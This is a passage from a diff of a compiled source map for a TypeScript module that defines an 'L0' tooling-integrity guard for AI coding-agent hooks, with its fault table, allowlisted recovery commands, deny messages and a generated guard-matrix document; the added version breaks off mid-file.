;AAED;;;;;;;GAOG;AACH,gGAAgG;AAChG,SAAgB,mBAAmB,CAAC,aAAqB;IACrD,8DAA8D;IAC9D,IAAI,CAAC;QACD,OAAO,IAAA,4BAAa,EAAC,aAAa,EAAE,wBAAgB,CAAC,CAAC;IAC1D,CAAC;IAAC,OAAO,GAAY,EAAE,CAAC;QACpB,MAAM,KAAK,GAAG,IAAA,kBAAO,EAAC,GAAG,CAAC,CAAC;QAC3B,KAAK,KAAK,CAAC,CAAC,0DAA0D;QACtE,OAAO,EAAE,CAAC;IACd,CAAC;AACL,CAAC;AAED,iGAAiG;AACjG,+FAA+F;AAC/F,SAAgB,kBAAkB,CAAC,OAAe;IAC9C,IAAI,OAAO,KAAK,EAAE;QAAE,OAAO,EAAE,CAAC;IAC9B,OAAO,6FAA6F,OAAO,wDAAwD,CAAC;AACxK,CAAC","sourcesContent":["import { CONFIG_FILENAME, writeTemplate } from '@webpieces/rules-config';\n\nimport {\n INSTALL_HOOKS_CMD, L0AllowEntry, L0Call, L0_ALLOWLIST, RECOVERY_CMD,\n RESTORE_SHIM_CMD, UPGRADE_SHIM_CMD, renderShim, shimStaleDenyReason,\n} from '../bin/shim';\nimport { toError } from './to-error';\n\n// ---------------------------------------------------------------------------\n// L0 — the TOOLING-INTEGRITY layer, as data.\n//\n// L0 is the outermost guard: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. It has SIX faults\n// and — drawn as a decision matrix — NO genuine second dimension:\n//\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n//\n// so the only thing that varies per fault is the MESSAGE. This module holds the fault table and\n// renders it, together with L0_ALLOWLIST (../bin/shim), into webpieces.guard-matrix.md — the doc the\n// deny messages point the AI at. Doc and code come from the SAME arrays, so they cannot drift.\n// ---------------------------------------------------------------------------\n\n/**\n * The doc L0's deny messages point at. Lives in @webpieces/rules-config/templates alongside the others,\n * and is written to <root>/.webpieces/instruct-ai/ lazily, only on an L0 BLOCK.\n *\n * That generated doc is the AUTHORITY for the fault table and the allowlist (same arrays, cannot\n * drift). GUARD_MATRIX.md at this repo's root is the hand-written companion: it adds L0's evaluation\n * ORDER, the use cases and the known gaps, and it documents L1, none of which are rendered from code.\n * Change L0_FAULTS or L0_ALLOWLIST and the generated doc follows automatically — GUARD_MATRIX.md does\n * not, so update it in the same PR.\n */\nexport const GUARD_MATRIX_DOC = 'webpieces.guard-matrix.md';\n\n/**\n * One CURE for a fault: the exact call, plus the `mention` that must appear in that fault's deny text.\n *\n * Both halves are asserted (l0-matrix.spec.ts): the call must be accepted by isAllowed(), and the deny\n * message must actually name it. That pairing is the anti-deadlock invariant — a message that\n * prescribes a command the allowlist rejects is exactly the shape of the three deadlocks CLAUDE.md\n * records, and it is how the dead `wp-setup-ai-hooks` bin in the config-missing text was caught.\n */\nexport class L0Cure {\n // eslint-disable-next-line @typescript-eslint/max-params\n constructor(\n readonly mention: string,\n readonly call: L0Call,\n /**\n * The one to reach for first when a fault has several. Exactly one cure per fault carries it,\n * so the rendered Fix section never asks the reader to choose between equals.\n */\n readonly preferred: boolean,\n /**\n * WHEN to pick this cure over its siblings — the sentence that makes a list of commands\n * actionable instead of a menu (\"when the PIN is the stale side\", not \"an alternative\").\n */\n readonly discriminator: string,\n ) {}\n\n /** A Bash cure renders as a literal command; a tool-shaped one renders as the edit it stands for. */\n isCommand(): boolean {\n return this.call.toolName === 'Bash';\n }\n}\n\n/** One L0 fault. Data-only → a class, per CLAUDE.md. */\nexport class L0Fault {\n constructor(\n readonly code: string,\n readonly name: string,\n readonly detectedBy: string,\n readonly enforcedIn: string,\n readonly cures: readonly L0Cure[],\n /**\n * The artifact carrying this fault's deny text. For S/C/Y that is the deny string itself; for\n * D/X/K the text is built in POSIX sh inside the rendered shim, so it is the rendered shim —\n * the same bytes the consumer runs, which is what the mention assertion needs to search.\n */\n readonly denyText: string,\n ) {}\n}\n\n// The deny for fault C, and the ONLY message L0 has for a repo with no webpieces.config.json at all.\n// Moved here from runner.ts so the fault table and the runner cannot state different cures.\n//\n// It used to name `./node_modules/.bin/wp-setup-ai-hooks` — a bin that HAS NOT EXISTED since it was\n// renamed to wp-install-ai-hooks. So the one command this deny prescribed was (a) not installable and\n// (b) not on the L0 allowlist in that spelling, i.e. the AI was handed a cure it could neither run nor\n// get past the guard. Now it names the installer that actually seeds the config AND is entry 8 of the\n// allowlist, and it says out loud that writing the config yourself is allowed through.\n//\n// ORDERING (2026-08-02): writing the file yourself now LEADS. The bare installer used to be OPTION 1,\n// but it seeds the config and then PROMPTS twice for a hook target, which hangs a non-interactive\n// agent. Writing the file is the one cure that always works, and it is the same cure every other config\n// problem has (see the config-validation invariant in GUARD_MATRIX.md): the validator reports every\n// error at once, so the write/validate loop converges in a couple of passes.\nexport const CONFIG_MISSING_REPORT =\n `${CONFIG_FILENAME} not found — the webpieces guards cannot run without it, so every other tool call is blocked.\\n` +\n 'THIS IS NOT A DEADLOCK: both options below are explicitly allowed through while this guard is up.\\n' +\n `OPTION 1 (preferred — it needs no other tool and it never prompts) - create ${CONFIG_FILENAME}\\n` +\n 'yourself: any Read, and any Write/Edit whose target is that file, is always allowed through, so\\n' +\n 'you can inspect the repo and write it. The validator reports EVERY missing/invalid entry at once\\n' +\n '(each with the snippet to paste), so a minimal first draft converges in about two passes.\\n' +\n 'OPTION 2 (pick this ONLY at an interactive terminal where you can answer its two prompts) - run\\n' +\n 'EXACTLY this command to seed the config: `pnpm exec wp-install-ai-hooks`. It goes on to wire the\\n' +\n 'Claude Code hooks and asks for a target twice, which hangs a non-interactive session.\\n' +\n 'Do not append anything to the option you pick — the allowlist is anchored to the whole command.';\n\n// The first line of the fault-Y deny (built out in runner.checkConfigSync, which appends the per-rule\n// detail). Kept here so the fault table quotes the same text the runner emits.\nexport const CONFIG_OUT_OF_SYNC_HEADER =\n `${CONFIG_FILENAME} is out of sync — new built-in rules are present that have no entry in ${CONFIG_FILENAME}.`;\n\n// Writing/repairing the file yourself. PREFERRED for both config faults, per the config-validation\n// invariant in GUARD_MATRIX.md: every config problem cures to \"make the file right\", the validator\n// reports all errors at once so the loop converges in a couple of passes, and allowlist entry 2 permits\n// this edit unconditionally. (That section is the authority — do not restate its reasoning here.)\nconst CONFIG_WRITE_CURE = new L0Cure(\n CONFIG_FILENAME, new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`), true,\n 'this fault fires at all — it is the only cure that needs no other tool, and it is never denied',\n);\n\n// Cure calls are spelled exactly as the deny messages spell them, so the mention assertion is a real\n// string search rather than a paraphrase.\n// webpieces-disable no-function-outside-class -- pure constructor helper for the L0_FAULTS literal below, in this data module\nfunction bashCure(command: string, preferred: boolean, discriminator: string): L0Cure {\n return new L0Cure(command, new L0Call('Bash', command, ''), preferred, discriminator);\n}\n\n/**\n * THE six L0 faults, in first-match-wins order. D/X/K are decided in POSIX sh BEFORE the bin runs (a\n * stale, missing or broken validator cannot be trusted to validate itself); S/C/Y are decided inside\n * the bin, in JS. One model, two enforcement points.\n */\nexport const L0_FAULTS: readonly L0Fault[] = [\n new L0Fault('D', 'version drift — root package.json pin != installed version',\n 'sh, before the bin runs', 'sh',\n [\n // `pnpm install` clears D in BOTH directions — it makes installed == pin by definition — so\n // it is always the preferred cure. The direction only decides whether the PIN is the version\n // you WANT, which is what the second cure is for.\n bashCure('pnpm install', true,\n 'node_modules is OLDER than the pin, OR you are on a feature branch and want YOUR '\n + 'branch pin (usually the case) — it always clears the drift'),\n bashCure('git pull', false,\n 'node_modules is NEWER than the pin AND you are on main — the PIN is the stale side, so '\n + 'pull first and install second; a bare install would downgrade you'),\n ], renderShim()),\n new L0Fault('X', 'guard bin missing (fresh clone / new worktree / package removed)',\n 'sh, before the bin runs', 'sh',\n [bashCure('pnpm install', true,\n 'this fault fires at all — nothing is installed in THIS tree, and a new git worktree '\n + 'copies no node_modules')],\n renderShim()),\n new L0Fault('K', 'guard bin present but CRASHED (exit code not 0 or 2 — corrupt node_modules)',\n 'sh, before the bin runs', 'sh',\n [bashCure(RECOVERY_CMD, true,\n 'this fault fires at all — a BARE pnpm install SKIPS the corrupt package, because pnpm sees '\n + 'the right version on disk and considers it installed; only the delete forces a rewrite')],\n renderShim()),\n new L0Fault('S', 'committed .claude/webpieces/ai-hook.sh != renderShim()',\n 'the guard bin', 'JS',\n [\n // wp-upgrade-shim is the SURGICAL tool and therefore leads: upgrade-shim.ts writes\n // renderShim() to .claude/webpieces/ai-hook.sh and touches nothing else — no config, no\n // settings.json — and it imports only fs/path, so it runs on a tree too broken to load the\n // rule engine. The INSTALLER is deliberately NOT a cure here: it also migrates the config\n // and wires BOTH hooks, prompting for a target twice, which hangs a non-interactive agent.\n bashCure(UPGRADE_SHIM_CMD, true,\n 'this fault fires at all — it regenerates the shim and NOTHING else (no config, no '\n + 'settings.json); needs installed @webpieces/ai-hook-rules 0.4.408 or newer'),\n // 2026-07-21: the version gap below caused a real \"command not found\" deadlock.\n bashCure(RESTORE_SHIM_CMD, false,\n 'the installed @webpieces/ai-hook-rules is OLDER than 0.4.408, so wp-upgrade-shim does '\n + 'not exist yet — this works on every release, though Claude Code may ask you to '\n + 'confirm the overwrite, and that prompt is NOT this guard'),\n ],\n shimStaleDenyReason('')),\n new L0Fault('C', `${CONFIG_FILENAME} missing`,\n 'the guard bin', 'JS',\n [\n CONFIG_WRITE_CURE,\n // Kept, but demoted: it seeds the file and then PROMPTS twice for a hook target.\n bashCure(INSTALL_HOOKS_CMD, false,\n 'you are at an INTERACTIVE terminal and can answer its two hook-target prompts'),\n ], CONFIG_MISSING_REPORT),\n new L0Fault('Y', `a loaded rule has no ${CONFIG_FILENAME} key`,\n 'the guard bin', 'JS',\n [CONFIG_WRITE_CURE], CONFIG_OUT_OF_SYNC_HEADER),\n];\n\n/**\n * One fault's FIX section, rendered from its `cures` array — literal commands only, never prose.\n *\n * This is the half that used to live in hand-written docs and drift. The three fields of L0Cure map\n * onto the three things a blocked reader needs and nothing else: WHAT to type (the call), WHETHER it is\n * the default (preferred), and WHEN to pick a sibling instead (discriminator). A cure with no\n * discriminator would render as a menu of equals, which is how an agent picks the wrong one.\n */\n// webpieces-disable no-function-outside-class -- pure string builder for renderGuardMatrixDoc below, beside the arrays it reads\nfunction renderFixSection(fault: L0Fault): string[] {\n const options = fault.cures.map((cure: L0Cure, i: number): string => {\n // A Bash cure is the command verbatim; a tool-shaped one is the file it edits (allowlist entry 2).\n const literal = cure.isCommand() ? `\\`${cure.call.command}\\`` : `edit \\`${cure.mention}\\` yourself`;\n const label = cure.preferred ? `Option ${i + 1} (preferred)` : `Option ${i + 1}`;\n return `- **${label}**: ${literal} ← pick this when ${cure.discriminator}`;\n });\n return [`### \\`${fault.code}\\` — ${fault.name}`, '', ...options, ''];\n}\n\n/**\n * Render webpieces.guard-matrix.md from L0_FAULTS + L0_ALLOWLIST.\n *\n * A unit test locks the committed template byte-identical to this output, the same way\n * templates/ai-hook.sh is locked to renderShim(). That is what makes the doc assertable instead of\n * aspirational: the table in the doc IS the array the guard consults.\n */\n// webpieces-disable no-function-outside-class -- pure string builder over the two exported arrays, beside them in this module\nexport function renderGuardMatrixDoc(): string {\n return [\n '# webpieces guard matrix — L0 (tooling integrity)',\n '',\n 'GENERATED from `L0_FAULTS` + `L0_ALLOWLIST` in `@webpieces/ai-hook-rules`. Do not hand-edit —',\n 'a unit test locks this file byte-identical to `renderGuardMatrixDoc()`, so the table below is',\n 'the array the guard actually consults, not a description of it.',\n '',\n 'L0 is the OUTERMOST guard layer. It blocks work while `node_modules`, the committed shim, or',\n '`webpieces.config.json` are in a state that makes every other guard untrustworthy. If you are',\n 'reading this, one of the six faults below fired and named this file.',\n '',\n '## The faults',\n '',\n '| code | fault | detected by | enforced in |',\n '|---|---|---|---|',\n ...L0_FAULTS.map((f: L0Fault): string => `| \\`${f.code}\\` | ${f.name} | ${f.detectedBy} | ${f.enforcedIn} |`),\n '',\n 'First match wins. `D`/`X`/`K` are decided in POSIX `sh` inside the committed shim, BEFORE the',\n 'guard bin runs — a stale, missing or broken validator cannot be trusted to validate itself.',\n '',\n '## The fix, per fault',\n '',\n 'Every command below is rendered from that fault\\'s `cures` array and is asserted, by unit test,',\n 'to be accepted by `isAllowed()` — so nothing here can be a command the guard then rejects. Type',\n 'the option you pick EXACTLY as written and run nothing else on that line.',\n '',\n ...L0_FAULTS.flatMap(renderFixSection),\n ...renderMatrixAndAllowlist(),\n ].join('\\n');\n}\n\n/**\n * The second half of the doc: the three-row matrix and the ONE allowlist. Split out of\n * renderGuardMatrixDoc solely to keep it inside the method-line budget — the join order is what makes\n * the two halves one file, so keep them adjacent and keep the byte-lock test as the arbiter.\n */\n// webpieces-disable no-function-outside-class -- second half of renderGuardMatrixDoc's string, beside it in this module\nfunction renderMatrixAndAllowlist(): string[] {\n return [\n '## The matrix',\n '',\n 'L0 has NO genuine second dimension. Every branch reduces to one question:',\n '',\n '| # | fault | on the allowlist? | outcome |',\n '|---|---|---|---|',\n '| 1 | none | — | hand down to the next guard layer |',\n '| 2 | any | yes | PASS or ALLOW (see the entry) |',\n '| 3 | any | no | BLOCK — **only the message varies by fault** |',\n '',\n 'The tool is not a dimension either: \"any Read\" is an allowlist ENTRY, not a tool check.',\n '',\n '## The allowlist',\n '',\n 'ONE list, consulted identically by all six faults. A cure that cannot help a given fault also',\n 'cannot hurt it, and gating each entry on a fault is what produced four real defects (a stale',\n 'shim that denied `pnpm install` and `git pull`; faults that denied every Read; a config fault',\n 'that denied `rm -rf node_modules && pnpm install` while allowing a bare `pnpm install`).',\n '',\n '| # | allowed | outcome |',\n '|---|---|---|',\n ...L0_ALLOWLIST.map((e: L0AllowEntry, i: number): string => `| ${i + 1} | ${e.label} | ${e.kind.toUpperCase()} |`),\n '',\n '- **PASS** — L0 has no objection; the call falls THROUGH so the downstream guards still judge it.',\n '- **ALLOW** — terminal; bypasses everything, because a cure must stay reachable even when a',\n ' downstream guard would block it.',\n '',\n 'Every Bash entry is anchored to the WHOLE command. A leading `cd <dir> &&`, a trailing `2>&1`',\n 'and a pipe into `tail`/`head` are tolerated; nothing else is. Appending `&& git status` makes it',\n 'a DIFFERENT command and it is rejected again — that is not the guard refusing its own cure.',\n '',\n '`git merge` is deliberately NOT on this list. Main is merged ONLY through the 3-point fork merge',\n '(`pnpm wp-start-update`, or `pnpm wp-start-upsert-pr` when a PR is already open).',\n '',\n '## Known asymmetry',\n '',\n 'Under `S`/`C`/`Y` the guard bin IS running, so a PASS really does fall through to the downstream',\n 'guards. Under `D`/`X`/`K` the bin is never executed, so there is nothing to fall through to and a',\n 'PASS degenerates into a terminal allow — reads are unguarded during those three faults.',\n '',\n '## Widening L0',\n '',\n 'Add an entry to `L0_ALLOWLIST` in `packages/tooling/ai-hook-rules/src/bin/shim.ts`. That array is',\n 'the single source for the JS allowlist, the `grep -E` inside the rendered shim, and this file.',\n '',\n ];\n}\n\n/**\n * Drop the matrix doc where the AI can read it, and return its absolute path ('' if it could not be\n * written). Called from the L0 BLOCK path so the deny can say `READ <path>`.\n *\n * Best-effort by design: this runs while the tree is already known-broken, and a missing template (an\n * @webpieces/rules-config older than this package) must degrade the deny message, never replace it\n * with a crash.\n */\n// webpieces-disable no-function-outside-class -- sibling of renderGuardMatrixDoc in this module\nexport function writeGuardMatrixDoc(workspaceRoot: string): string {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n return writeTemplate(workspaceRoot, GUARD_MATRIX_DOC);\n } catch (err: unknown) {\n const error = toError(err);\n void error; // best-effort: no doc → the deny simply omits the pointer\n return '';\n }\n}\n\n/** The `READ <path>` pointer appended to an L0 deny, or '' when the doc could not be written. */\n// webpieces-disable no-function-outside-class -- sibling of writeGuardMatrixDoc in this module\nexport function guardMatrixPointer(docPath: string): string {\n if (docPath === '') return '';\n return ` The full L0 guard matrix - all six faults and everything that is allowed through - is at ${docPath}; READ it if you are unsure why this call was blocked.`;\n}\n"]}
1
+ {"version":3,"file":"l0-matrix.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/core/l0-matrix.ts"],"names":[],"mappings":"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","sourcesContent":["import { CONFIG_FILENAME, writeTemplate } from '@webpieces/rules-config';\n\nimport {\n INSTALL_HOOKS_CMD, L0AllowEntry, L0Call, L0_ALLOWLIST, RECOVERY_CMD,\n RESTORE_SHIM_CMD, UPGRADE_SHIM_CMD, renderShim, shimStaleDenyReason,\n} from '../bin/shim';\nimport { toError } from './to-error';\n\n// ---------------------------------------------------------------------------\n// L0 — the TOOLING-INTEGRITY layer, as data.\n//\n// L0 is the outermost guard: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. It has SIX faults\n// and — drawn as a decision matrix — NO genuine second dimension:\n//\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n//\n// so the only thing that varies per fault is the MESSAGE. This module holds the fault table and\n// renders it, together with L0_ALLOWLIST (../bin/shim), into webpieces.guard-matrix.md — the doc the\n// deny messages point the AI at. Doc and code come from the SAME arrays, so they cannot drift.\n// ---------------------------------------------------------------------------\n\n/**\n * The doc L0's deny messages point at. Lives in @webpieces/rules-config/templates alongside the others,\n * and is written to <root>/.webpieces/instruct-ai/ lazily, only on an L0 BLOCK.\n *\n * That generated doc is the AUTHORITY for the fault table and the allowlist (same arrays, cannot\n * drift). guards/L0-tooling.md is the hand-written companion: it adds L0's evaluation\n * ORDER, the use cases and the known gaps, and it documents L1, none of which are rendered from code.\n * Change L0_FAULTS or L0_ALLOWLIST and the generated doc follows automatically — guards/L0-tooling.md does\n * not, so update it in the same PR.\n */\nexport const GUARD_MATRIX_DOC = 'webpieces.guard-matrix.md';\n\n/**\n * One CURE for a fault: the exact call, plus the `mention` that must appear in that fault's deny text.\n *\n * Both halves are asserted (l0-matrix.spec.ts): the call must be accepted by isAllowed(), and the deny\n * message must actually name it. That pairing is the anti-deadlock invariant — a message that\n * prescribes a command the allowlist rejects is exactly the shape of the three deadlocks CLAUDE.md\n * records, and it is how the dead `wp-setup-ai-hooks` bin in the config-missing text was caught.\n */\nexport class L0Cure {\n // eslint-disable-next-line @typescript-eslint/max-params\n constructor(\n readonly mention: string,\n readonly call: L0Call,\n /**\n * The one to reach for first when a fault has several. Exactly one cure per fault carries it,\n * so the rendered Fix section never asks the reader to choose between equals.\n */\n readonly preferred: boolean,\n /**\n * WHEN to pick this cure over its siblings — the sentence that makes a list of commands\n * actionable instead of a menu (\"when the PIN is the stale side\", not \"an alternative\").\n */\n readonly discriminator: string,\n ) {}\n\n /** A Bash cure renders as a literal command; a tool-shaped one renders as the edit it stands for. */\n isCommand(): boolean {\n return this.call.toolName === 'Bash';\n }\n}\n\n/** One L0 fault. Data-only → a class, per CLAUDE.md. */\nexport class L0Fault {\n constructor(\n readonly code: string,\n readonly name: string,\n readonly detectedBy: string,\n readonly enforcedIn: string,\n readonly cures: readonly L0Cure[],\n /**\n * The artifact carrying this fault's deny text. For S/C/Y that is the deny string itself; for\n * D/X/K the text is built in POSIX sh inside the rendered shim, so it is the rendered shim —\n * the same bytes the consumer runs, which is what the mention assertion needs to search.\n */\n readonly denyText: string,\n ) {}\n}\n\n// The deny for fault C, and the ONLY 